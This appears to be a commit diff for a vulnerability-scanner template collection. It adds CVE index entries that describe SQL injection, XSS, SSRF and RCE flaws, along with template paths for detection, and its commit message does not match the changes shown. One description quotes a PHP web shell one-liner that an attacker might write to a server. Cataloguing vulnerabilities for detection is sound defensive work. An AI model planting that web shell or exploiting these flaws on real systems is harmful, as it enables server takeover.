Update Linux misconfiguration templates

- Add impact and remediation sections
- Fix tag formatting (misconfiguration -> misconfig)
- Add additional reference links
- Fix matcher condition syntax for root-remote-login
- Add OS metadata for better categorization

.gitignore

@@ -3,4 +3,6 @@
 local/
 .checksum
 .new-additions
-*.txt
+*.txt
+/.claude
+CLAUDE.md

.new-additions

@@ -1,10 +1,46 @@
+http/cves/2017/CVE-2017-18349.yaml
 http/cves/2020/CVE-2020-29390.yaml
+http/cves/2024/CVE-2024-11587.yaml
+http/cves/2024/CVE-2024-29198.yaml
+http/cves/2024/CVE-2024-33832.yaml
+http/cves/2024/CVE-2024-36675.yaml
+http/cves/2024/CVE-2024-42852.yaml
+http/cves/2024/CVE-2024-50477.yaml
+http/cves/2024/CVE-2024-58136.yaml
+http/cves/2024/CVE-2024-9007.yaml
+http/cves/2025/CVE-2025-2709.yaml
+http/cves/2025/CVE-2025-2710.yaml
+http/cves/2025/CVE-2025-2711.yaml
+http/cves/2025/CVE-2025-2712.yaml
+http/cves/2025/CVE-2025-34077.yaml
+http/cves/2025/CVE-2025-34141.yaml
+http/cves/2025/CVE-2025-34300.yaml
+http/cves/2025/CVE-2025-40630.yaml
+http/cves/2025/CVE-2025-49029.yaml
+http/cves/2025/CVE-2025-53770.yaml
 http/cves/2025/CVE-2025-53833.yaml
+http/cves/2025/CVE-2025-5961.yaml
+http/cves/2025/CVE-2025-6058.yaml
 http/cves/2025/CVE-2025-6851.yaml
+http/cves/2025/CVE-2025-6970.yaml
+http/exposed-panels/c2/amatera-stealer-panel.yaml
+http/exposed-panels/c2/bofamet-stealer-panel.yaml
+http/exposed-panels/c2/cyber-stealer-panel.yaml
+http/exposed-panels/c2/oxf-phaas-panel.yaml
+http/exposed-panels/saltbo-zpan-panel.yaml
+http/misconfiguration/installer/ibarn-installer.yaml
+http/misconfiguration/installer/saltbo-zpan-installer.yaml
+http/misconfiguration/installer/strongshop-installer.yaml
+http/osint/user-enumeration/luma.yaml
 http/technologies/wordpress/plugins/blocksy-companion.yaml
 http/technologies/wordpress/plugins/gosmtp.yaml
 http/technologies/wordpress/plugins/honeypot.yaml
 http/technologies/wordpress/plugins/pagelayer.yaml
+http/technologies/wordpress/plugins/pojo-accessibility.yaml
 http/technologies/wordpress/plugins/siteseo.yaml
 http/technologies/wordpress/plugins/unlimited-elements-for-elementor.yaml
+http/vulnerabilities/backdoor/sharepoint-toolshell-backdoor.yaml
 http/vulnerabilities/wordpress/wp-ninja-tables-lfi.yaml
+network/cves/2019/CVE-2019-5544.yaml
+network/detection/vtun-server.yaml
+network/enumeration/nats-server-enum.yaml

cves.json

@@ -433,6 +433,7 @@
 {"ID":"CVE-2017-17731","Info":{"Name":"DedeCMS 5.7 - SQL Injection","Severity":"critical","Description":"DedeCMS through 5.7 has SQL Injection via the $_FILES superglobal to plus/recommend.php.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-17731.yaml"}
 {"ID":"CVE-2017-17736","Info":{"Name":"Kentico - Installer Privilege Escalation","Severity":"critical","Description":"Kentico 9.0 before 9.0.51 and 10.0 before 10.0.48 are susceptible to a privilege escalation attack. An attacker can obtain Global Administrator access by visiting CMSInstall/install.aspx and then navigating to the CMS Administration Dashboard.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-17736.yaml"}
 {"ID":"CVE-2017-18024","Info":{"Name":"AvantFAX 3.3.3 - Cross-Site Scripting","Severity":"medium","Description":"AvantFAX 3.3.3 contains a cross-site scripting vulnerability via an arbitrary parameter name submitted to the default URL, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-18024.yaml"}
+{"ID":"CVE-2017-18349","Info":{"Name":"Fastjson Insecure Deserialization - Remote Code Execution","Severity":"critical","Description":"parseObject in Fastjson before 1.2.25, as used in FastjsonEngine in Pippo 1.11.0 and other products, allows remote attackers to execute arbitrary code via a crafted JSON request, as demonstrated by a crafted rmi-// URI in the dataSourceName field of HTTP POST data to the Pippo /json URI, which is mishandled in AjaxApplication.java.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-18349.yaml"}
 {"ID":"CVE-2017-18487","Info":{"Name":"AdPush \u003c 1.44 - Cross-Site Scripting","Severity":"medium","Description":"The adsense-plugin (aka Google AdSense) plugin before 1.44 for WordPress has multiple XSS issues.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-18487.yaml"}
 {"ID":"CVE-2017-18490","Info":{"Name":"Contact Form Multi by BestWebSoft \u003c 1.2.1 - Cross-Site Scripting","Severity":"medium","Description":"The contact-form-multi plugin before 1.2.1 for WordPress has multiple XSS issues.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-18490.yaml"}
 {"ID":"CVE-2017-18491","Info":{"Name":"Contact Form by BestWebSoft \u003c 4.0.6 - Cross-Site Scripting","Severity":"medium","Description":"The contact-form-plugin plugin before 4.0.6 for WordPress has multiple XSS issues.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-18491.yaml"}
@@ -2620,6 +2621,7 @@
 {"ID":"CVE-2024-11305","Info":{"Name":"Altenergy Power Control Software - SQL Injection","Severity":"medium","Description":"A vulnerability classified as critical was found in Altenergy Power Control Software up to 20241108. This vulnerability affects the function get_status_zigbee of the file /index.php/display/status_zigbee. The manipulation of the argument date leads to sql injection. The attack can be initiated remotely.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2024/CVE-2024-11305.yaml"}
 {"ID":"CVE-2024-11320","Info":{"Name":"Pandora v7.0NG.777.3 - Remote Code Execution","Severity":"critical","Description":"Arbitrary commands execution on the server by exploiting a command injection vulnerability in the LDAP authentication mechanism.This issue affects Pandora FMS- from 700 through \u003c=777.4\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-11320.yaml"}
 {"ID":"CVE-2024-11396","Info":{"Name":"Event Monster \u003c= 1.4.3 - Information Exposure Via Visitors List Export","Severity":"medium","Description":"The Event Monster Event Management, Tickets Booking, Upcoming Event plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.4.3 via the Visitors List Export file. During the export, a CSV file is created in the wp-content folder with a hardcoded filename that is publicly accessible. This makes it possible for unauthenticated attackers to extract data about event visitors, that includes first and last names, email, and phone number.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-11396.yaml"}
+{"ID":"CVE-2024-11587","Info":{"Name":"idcCMS V1.60 - Cross-Site Scripting","Severity":"medium","Description":"idcCMS V1.60 is vulnerable to reflected cross-site scripting (XSS) via the idName parameter in read.php. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-11587.yaml"}
 {"ID":"CVE-2024-11680","Info":{"Name":"ProjectSend \u003c= r1605 - Improper Authorization","Severity":"critical","Description":"An improper authorization check was identified within ProjectSend version r1605 that allows an attacker to perform sensitive actions such as enabling user registration and auto validation, or adding new entries in the whitelist of allowed extensions for uploaded files. Ultimately, this allows to execute arbitrary PHP code on the server hosting the application.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-11680.yaml"}
 {"ID":"CVE-2024-11728","Info":{"Name":"KiviCare Clinic \u0026 Patient Management System (EHR) \u003c= 3.6.4 - SQL Injection","Severity":"high","Description":"The KiviCare Clinic \u0026 Patient Management System (EHR) plugin for WordPress is vulnerable to SQL Injection via the 'visit_type[service_id]' parameter of the tax_calculated_data AJAX action in all versions up to, and including, 3.6.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-11728.yaml"}
 {"ID":"CVE-2024-11740","Info":{"Name":"Download Manager \u003c 3.3.04 - Unauthenticated Arbitrary Shortcode Execution","Severity":"high","Description":"The The Download Manager plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 3.3.03. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2024/CVE-2024-11740.yaml"}
@@ -2716,6 +2718,7 @@
 {"ID":"CVE-2024-28987","Info":{"Name":"SolarWinds Web Help Desk - Hardcoded Credential","Severity":"critical","Description":"The SolarWinds Web Help Desk (WHD) software is affected by a hardcoded credential vulnerability, allowing remote unauthenticated user to access internal functionality and modify data.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-28987.yaml"}
 {"ID":"CVE-2024-28995","Info":{"Name":"SolarWinds Serv-U - Directory Traversal","Severity":"high","Description":"SolarWinds Serv-U was susceptible to a directory transversal vulnerability that would allow access to read sensitive files on the host machine.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-28995.yaml"}
 {"ID":"CVE-2024-29059","Info":{"Name":".NET Framework - Leaking ObjRefs via HTTP .NET Remoting","Severity":"high","Description":".NET Framework Information Disclosure Vulnerability","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-29059.yaml"}
+{"ID":"CVE-2024-29198","Info":{"Name":"GeoServer Demo Request Endpoint - Server Side Request Forgery","Severity":"high","Description":"It is possible to achieve Server Side Request Forgery (SSRF) via the Demo request endpoint if Proxy Base URL has not been set. An unauthenticated user can supply a request that will be issued by the server, allowing enumeration of internal networks and, in the case of cloud instances, access to sensitive data.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-29198.yaml"}
 {"ID":"CVE-2024-29269","Info":{"Name":"Telesquare TLR-2005KSH  - Remote Command Execution","Severity":"critical","Description":"Telesquare Tlr-2005Ksh is a Sk Telecom Lte router from South Korea's Telesquare company.Telesquare TLR-2005Ksh versions 1.0.0 and 1.1.4 have an unauthorized remote command execution vulnerability. An attacker can exploit this vulnerability to execute system commands without authorization through the Cmd parameter and obtain server permissions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-29269.yaml"}
 {"ID":"CVE-2024-29272","Info":{"Name":"VvvebJs \u003c 1.7.5 - Arbitrary File Upload","Severity":"medium","Description":"Arbitrary File Upload vulnerability in VvvebJs before version 1.7.5, allows unauthenticated remote attackers to execute arbitrary code and obtain sensitive information via the sanitizeFileName parameter in save.php.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2024/CVE-2024-29272.yaml"}
 {"ID":"CVE-2024-2928","Info":{"Name":"MLflow \u003c 2.11.3 - Path Traversal","Severity":"high","Description":"MLflow versions prior to 2.11.3 are vulnerable to a Path Traversal attack due to improper URI fragment parsing. This vulnerability allows attackers to read arbitrary files on the server, potentially exposing sensitive information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-2928.yaml"}
@@ -2766,6 +2769,7 @@
 {"ID":"CVE-2024-33605","Info":{"Name":"Sharp Multifunction Printers - Directory Listing","Severity":"high","Description":"It was observed that Sharp printers are vulnerable to an arbitrary directory listing without authentication. Any attacker can list any directory located in the printer and recover any file.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-33605.yaml"}
 {"ID":"CVE-2024-33610","Info":{"Name":"Sharp Multifunction Printers - Cookie Exposure","Severity":"medium","Description":"It was observed that Sharp printers are vulnerable to a listing of session cookies without authentication. Any attacker can list valid cookies by visiting a backdoor webpage and use them to authenticate to the printers.","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-33610.yaml"}
 {"ID":"CVE-2024-33724","Info":{"Name":"SOPlanning 1.52.00 Cross Site Scripting","Severity":"medium","Description":"SOPlanning v1.52.00 is vulnerable to XSS via the 'groupe_id' parameters a remote unautheticated attacker can hijack the admin account or other users. The remote attacker can hijack a users session or credentials and perform a takeover of the entire platform.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-33724.yaml"}
+{"ID":"CVE-2024-33832","Info":{"Name":"OneNav v0.9.35-20240318 - Server-Side Request Forgery (SSRF)","Severity":"medium","Description":"OneNav v0.9.35-20240318 is vulnerable to server-side request forgery (SSRF) via the url parameter in the get_link_info API. An attacker can force the server to make arbitrary requests, potentially accessing internal resources.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2024/CVE-2024-33832.yaml"}
 {"ID":"CVE-2024-3400","Info":{"Name":"GlobalProtect - OS Command Injection","Severity":"critical","Description":"A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-3400.yaml"}
 {"ID":"CVE-2024-34061","Info":{"Name":"Changedetection.io \u003c=v0.45.21 - Cross-Site Scripting","Severity":"medium","Description":"Changedetection.io is a free open source web page change detection, website watcher, restock monitor and notification service. In affected versions Input in parameter notification_urls is not processed resulting in javascript execution in the application. A reflected XSS vulnerability happens when the user input from a URL or POST data is reflected on the page without being stored, thus allowing the attacker to inject malicious content. This issue has been addressed in version 0.45.22. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2024/CVE-2024-34061.yaml"}
 {"ID":"CVE-2024-34102","Info":{"Name":"Adobe Commerce \u0026 Magento - CosmicSting","Severity":"critical","Description":"Adobe Commerce versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in arbitrary code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-34102.yaml"}
@@ -2785,6 +2789,7 @@
 {"ID":"CVE-2024-36412","Info":{"Name":"SuiteCRM - SQL Injection","Severity":"critical","Description":"SuiteCRM is an open-source Customer Relationship Management (CRM) software application. Prior to versions 7.14.4 and 8.6.1, a vulnerability in events response entry point allows for a SQL injection attack. Versions 7.14.4 and 8.6.1 contain a fix for this issue.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-36412.yaml"}
 {"ID":"CVE-2024-36527","Info":{"Name":"Puppeteer Renderer  - Directory Traversal","Severity":"medium","Description":"puppeteer-renderer v.3.2.0 and before is vulnerable to Directory Traversal. Attackers can exploit the URL parameter using the file protocol to read sensitive information from the server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-36527.yaml"}
 {"ID":"CVE-2024-3656","Info":{"Name":"Keycloak \u003c 24.0.5 - Broken Access Control","Severity":"high","Description":"A flaw was found in Keycloak. Certain endpoints in Keycloak's admin REST API allow low-privilege users to access administrative functionalities. This flaw allows users to perform actions reserved for administrators, potentially leading to data breaches or system compromise.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2024/CVE-2024-3656.yaml"}
+{"ID":"CVE-2024-36675","Info":{"Name":"LyLme spage v1.9.5 - Server-Side Request Forgery","Severity":"high","Description":"LyLme spage v1.9.5 is vulnerable to server-side request forgery (SSRF) via the url parameter in apply/index.php. An attacker can force the server to make arbitrary requests, potentially accessing internal resources.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-36675.yaml"}
 {"ID":"CVE-2024-36683","Info":{"Name":"PrestaShop productsalert - SQL Injection","Severity":"critical","Description":"In the module 'Products Alert' (productsalert) up to version 1.7.4 from Smart Modules for PrestaShop, a guest can perform SQL injection in affected versions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-36683.yaml"}
 {"ID":"CVE-2024-3673","Info":{"Name":"Web Directory Free \u003c 1.7.3 - Local File Inclusion","Severity":"critical","Description":"The Web Directory Free WordPress plugin before 1.7.3 does not validate a parameter before using it in an include(), which could lead to Local File Inclusion issues.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-3673.yaml"}
 {"ID":"CVE-2024-36837","Info":{"Name":"CRMEB v.5.2.2 - SQL Injection","Severity":"high","Description":"SQL Injection vulnerability in CRMEB v.5.2.2 allows a remote attacker to obtain sensitive information via the getProductList function in the ProductController.php file.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-36837.yaml"}
@@ -2828,6 +2833,7 @@
 {"ID":"CVE-2024-41955","Info":{"Name":"Open Redirect in Login Redirect - MobSF","Severity":"medium","Description":"Mobile Security Framework (MobSF) is a security research platform for mobile applications in Android, iOS and Windows Mobile. An open redirect vulnerability exist in MobSF authentication view.\n","Classification":{"CVSSScore":"5.2"}},"file_path":"http/cves/2024/CVE-2024-41955.yaml"}
 {"ID":"CVE-2024-4257","Info":{"Name":"BlueNet Technology Clinical Browsing System 1.2.1 - Sql Injection","Severity":"medium","Description":"A vulnerability was found in BlueNet Technology Clinical Browsing System 1.2.1. It has been classified as critical. This affects an unknown part of the file /xds/deleteStudy.php. The manipulation of the argument documentUniqueId leads to sql injection. It is possible to initiate the attack remotely.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2024/CVE-2024-4257.yaml"}
 {"ID":"CVE-2024-42640","Info":{"Name":"Angular-Base64-Upload - Remote Code Execution","Severity":"critical","Description":"angular-base64-upload prior to v0.1.21 is vulnerable to unauthenticated remote code execution via demo/server.php. Exploiting this vulnerability allows an attacker to upload arbitrary content to the server, which can subsequently be accessed through demo/uploads. This leads to the execution of previously uploaded content and enables the attacker to achieve code execution on the server. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-42640.yaml"}
+{"ID":"CVE-2024-42852","Info":{"Name":"AcuToWeb server/10.5.0.7577c8b - Cross-Site Scripting","Severity":"medium","Description":"AcuToWeb server/10.5.0.7577c8b is vulnerable to reflected cross-site scripting (XSS) via the portgw parameter. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-42852.yaml"}
 {"ID":"CVE-2024-4295","Info":{"Name":"Email Subscribers by Icegram Express \u003c= 5.7.20 - Unauthenticated SQL Injection via Hash","Severity":"critical","Description":"Email Subscribers by Icegram Express \u003c= 5.7.20 contains an unauthenticated SQL injection vulnerability via the hash parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-4295.yaml"}
 {"ID":"CVE-2024-43160","Info":{"Name":"BerqWP \u003c= 1.7.6 - Arbitrary File Upload","Severity":"critical","Description":"The BerqWP Automated All-In-One PageSpeed Optimization Plugin for Core Web Vitals, Cache, CDN, Images, CSS, and JavaScript plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the /api/store_webp.php file in all versions up to, and including, 1.7.6. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-43160.yaml"}
 {"ID":"CVE-2024-4325","Info":{"Name":"Gradio - Server-Side Request Forgery","Severity":"high","Description":"A Server-Side Request Forgery (SSRF) vulnerability exists in the gradio-app/gradio version 4.21.0, specifically within the `/queue/join` endpoint and the `save_url_to_cache` function. The vulnerability arises when the `path` value, obtained from the user and expected to be a URL, is used to make an HTTP request without sufficient validation checks. This flaw allows an attacker to send crafted requests that could lead to unauthorized access to the local network or the AWS metadata endpoint, thereby compromising the security of internal servers.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-4325.yaml"}
@@ -2881,6 +2887,7 @@
 {"ID":"CVE-2024-49757","Info":{"Name":"Zitadel - User Registration Bypass","Severity":"high","Description":"The open-source identity infrastructure software Zitadel allows administrators to disable the user self-registration. Due to a missing security check in versions prior to 2.64.0, 2.63.5, 2.62.7, 2.61.4, 2.60.4, 2.59.5, and 2.58.7, disabling the \"User Registration allowed\" option only hid the registration button on the login page. Users could bypass this restriction by directly accessing the registration URL (/ui/login/loginname) and register a user that way. Versions 2.64.0, 2.63.5, 2.62.7, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 contain a patch. No known workarounds are available.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-49757.yaml"}
 {"ID":"CVE-2024-50334","Info":{"Name":"Scoold \u003c 1.64.0 - Authentication Bypass","Severity":"medium","Description":"Scoold is a Q\u0026A and a knowledge sharing platform for teams. A semicolon path injection vulnerability was found on the /api;/config endpoint. By appending a semicolon in the URL, attackers can bypass authentication and gain unauthorised access to sensitive configuration data. Furthermore, PUT requests on the /api;/config endpoint while setting the Content-Type- application/hocon header allow unauthenticated attackers to file reading via HOCON file inclusion. This allows attackers to retrieve sensitive information such as configuration files from the server, which can be leveraged for further exploitation. The vulnerability has been fixed in Scoold 1.64.0. A workaround would be to disable the Scoold API with scoold.api_enabled = false.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-50334.yaml"}
 {"ID":"CVE-2024-50340","Info":{"Name":"Symfony Profiler - Remote Access via Injected Arguments","Severity":"high","Description":"symfony/runtime is a module for the Symphony PHP framework which enables decoupling PHP applications from global state. When the `register_argv_argc` php directive is set to `on` , and users call any URL with a special crafted query string, they are able to change the environment or debug mode used by the kernel when handling the request. As of versions 5.4.46, 6.4.14, and 7.1.7 the `SymfonyRuntime` now ignores the `argv` values for non-SAPI PHP runtimes.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2024/CVE-2024-50340.yaml"}
+{"ID":"CVE-2024-50477","Info":{"Name":"WordPress Stacks Mobile App Builder \u003c=5.2.3 - Authentication Bypass","Severity":"critical","Description":"Stacks Mobile App Builder WordPress plugin ≤ 5.2.3 suffers from an authentication bypass vulnerability via improper handling of query parameters, allowing attackers to impersonate arbitrary users.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-50477.yaml"}
 {"ID":"CVE-2024-50498","Info":{"Name":"WP Query Console \u003c= 1.0 - Remote Code Execution","Severity":"critical","Description":"Improper Control of Generation of Code ('Code Injection') vulnerability in LUBUS WP Query Console allows Code Injection.This issue affects WP Query Console- from n/a through 1.0.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-50498.yaml"}
 {"ID":"CVE-2024-50603","Info":{"Name":"Aviatrix Controller - Remote Code Execution","Severity":"critical","Description":"An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-50603.yaml"}
 {"ID":"CVE-2024-50623","Info":{"Name":"Cleo Harmony \u003c 5.8.0.21 - Arbitary File Read","Severity":"high","Description":"In Cleo Harmony before 5.8.0.21, VLTrader before 5.8.0.21, and LexiCom before 5.8.0.21, there is an unrestricted file upload and download that could lead to remote code execution.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-50623.yaml"}
@@ -2934,6 +2941,7 @@
 {"ID":"CVE-2024-57514","Info":{"Name":"TP-Link Archer A20 v3 Router - Cross-site Scripting","Severity":"medium","Description":"The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of directory listing paths in the web interface. When a specially crafted URL is visited, the router's web page renders the directory listing and executes arbitrary JavaScript embedded in the URL. This allows the attacker to inject malicious code into the page, executing JavaScript on the victim's browser, which could then be used for further malicious actions. The vulnerability was identified in the 1.0.6 Build 20231011 rel.85717(5553) version.\n","Classification":{"CVSSScore":"4.8"}},"file_path":"http/cves/2024/CVE-2024-57514.yaml"}
 {"ID":"CVE-2024-5765","Info":{"Name":"WpStickyBar \u003c= 2.1.0 - SQL Injection","Severity":"high","Description":"The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-5765.yaml"}
 {"ID":"CVE-2024-57727","Info":{"Name":"SimpleHelp \u003c= 5.5.7 - Unauthenticated Path Traversal","Severity":"high","Description":"SimpleHelp remote support software v5.5.7 and before is vulnerable to multiple path traversal vulnerabilities that enable unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files include server configuration files containing various secrets and hashed user passwords.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-57727.yaml"}
+{"ID":"CVE-2024-58136","Info":{"Name":"Yii2 PHP Framework \u003c 2.0.52 - Remote Code Execution","Severity":"critical","Description":"Yii2 PHP Framework before 2.0.52 is vulnerable to remote code execution via improper validation of the __class key in JSON behaviors. An attacker can instantiate arbitrary PHP classes and achieve RCE.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-58136.yaml"}
 {"ID":"CVE-2024-5827","Info":{"Name":"Vanna - SQL injection","Severity":"critical","Description":"Vanna v0.3.4 is vulnerable to SQL injection in its DuckDB integration exposed to its Flask Web APIs. Attackers can inject malicious SQL training data and generate corresponding queries to write arbitrary files on the victim's file system, such as backdoor.php with contents `\u003c?php system($_GET[0]); ?\u003e`. This can lead to command execution or the creation of backdoors.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-5827.yaml"}
 {"ID":"CVE-2024-5910","Info":{"Name":"Palo Alto Expedition - Admin Account Takeover","Severity":"critical","Description":"Missing authentication for a critical function in Palo Alto Networks Expedition can lead to an Expedition admin account takeover for attackers with network access to Expedition.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2024/CVE-2024-5910.yaml"}
 {"ID":"CVE-2024-5932","Info":{"Name":"GiveWP - PHP Object Injection","Severity":"critical","Description":"The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.1 via deserialization of untrusted input from the 'give_title' parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-5932.yaml"}
@@ -3006,6 +3014,7 @@
 {"ID":"CVE-2024-8877","Info":{"Name":"Riello Netman 204 - SQL Injection","Severity":"critical","Description":"The three endpoints /cgi-bin/db_datalog_w.cgi, /cgi-bin/db_eventlog_w.cgi, and /cgi-bin/db_multimetr_w.cgi are vulnerable to SQL injection without prior authentication. This enables an attacker to modify the collected log data in an arbitrary way.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-8877.yaml"}
 {"ID":"CVE-2024-8883","Info":{"Name":"Keycloak - Open Redirect","Severity":"medium","Description":"A misconfiguration flaw was found in Keycloak. This issue can allow an attacker to redirect users to an arbitrary URL if a 'Valid Redirect URI' is set to http://localhost or http://127.0.0.1, enabling sensitive information such as authorization codes to be exposed to the attacker, potentially leading to session hijacking.\n","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2024/CVE-2024-8883.yaml"}
 {"ID":"CVE-2024-8963","Info":{"Name":"Ivanti Cloud Services Appliance - Path Traversal","Severity":"critical","Description":"Path Traversal in the Ivanti CSA before 4.6 Patch 519 allows a remote unauthenticated attacker to access restricted functionality.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-8963.yaml"}
+{"ID":"CVE-2024-9007","Info":{"Name":"123Solar 1.8.4.5 - Cross-Site Scripting","Severity":"medium","Description":"123Solar 1.8.4.5 is vulnerable to reflected cross-site scripting (XSS) via the date1 parameter in detailed.php. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-9007.yaml"}
 {"ID":"CVE-2024-9014","Info":{"Name":"pgAdmin 4 - Authentication Bypass","Severity":"critical","Description":"pgAdmin 4 versions 8.11 and earlier are vulnerable to a security flaw in OAuth2 authentication. This vulnerability allows an attacker to potentially obtain the client ID and secret, leading to unauthorized access to user data.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2024/CVE-2024-9014.yaml"}
 {"ID":"CVE-2024-9047","Info":{"Name":"WordPress File Upload \u003c= 4.24.11 - Arbitrary File Read","Severity":"critical","Description":"The WordPress File Upload plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 4.24.11 via wfu_file_downloader.php. This makes it possible for unauthenticated attackers to read or delete files outside of the originally intended directory. Successful exploitation requires the targeted WordPress installation to be using PHP 7.4 or earlier.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-9047.yaml"}
 {"ID":"CVE-2024-9061","Info":{"Name":"WP Popup Builder Popup Forms and Marketing Lead Generation \u003c= 1.3.5 - Arbitrary Shortcode Execution","Severity":"high","Description":"The The WP Popup Builder Popup Forms and Marketing Lead Generation plugin for WordPress is vulnerable to arbitrary shortcode execution via the wp_ajax_nopriv_shortcode_Api_Add AJAX action in all versions up to, and including, 1.3.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2024/CVE-2024-9061.yaml"}
